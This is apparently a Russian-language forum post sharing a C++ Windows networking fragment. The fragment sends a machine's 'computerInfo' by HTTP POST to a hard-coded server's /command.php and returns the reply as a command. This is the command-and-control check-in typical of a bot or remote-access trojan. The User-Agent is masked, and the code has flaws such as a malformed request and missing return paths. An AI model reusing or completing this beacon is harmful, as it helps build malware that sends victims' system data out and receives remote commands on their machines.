Пожалуйста, обратите внимание, что пользователь заблокирован
Код:
#include <windows.h>
#include "Network.h"
#include "Memory.h"
#define WEB_SERVER "google.com"
BOOL Network::IntializeNetwork() {
WSADATA wsa;
if (WSAStartup(MAKEWORD(2, 2), &wsa) == 0) return 1;
return 0;
}
CHAR* Network::getCommand(LPCSTR computerInfo) {
if (SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) {
if (HOSTENT* he = gethostbyname(WEB_SERVER)) {
struct sockaddr_in addr;
memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(80);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) != INVALID_SOCKET) {
char* buffer = (char*)_alloc(65536);
const char* request = "POST /command.php HTTP/1.1\r\n"
"Host: " WEB_SERVER "\r\n"
"User-Agent: ************ ***** ** * ***\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Accept-Language: en-us;q=0.7,en;q=0.3\r\n"
"Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n"
"Connection: keep-alive\r\n\r\n";
if (send(sock, request, lstrlenA(request), 0) > 0) {
if (send(sock, computerInfo, lstrlenA(computerInfo), 0) > 0) {
_memset(buffer, 0, 65536);
if (recv(sock, buffer, 65535, 0) > 0) {
goto end;
}
}
}
end:;
closesocket(sock);
return buffer;
}
}
}
}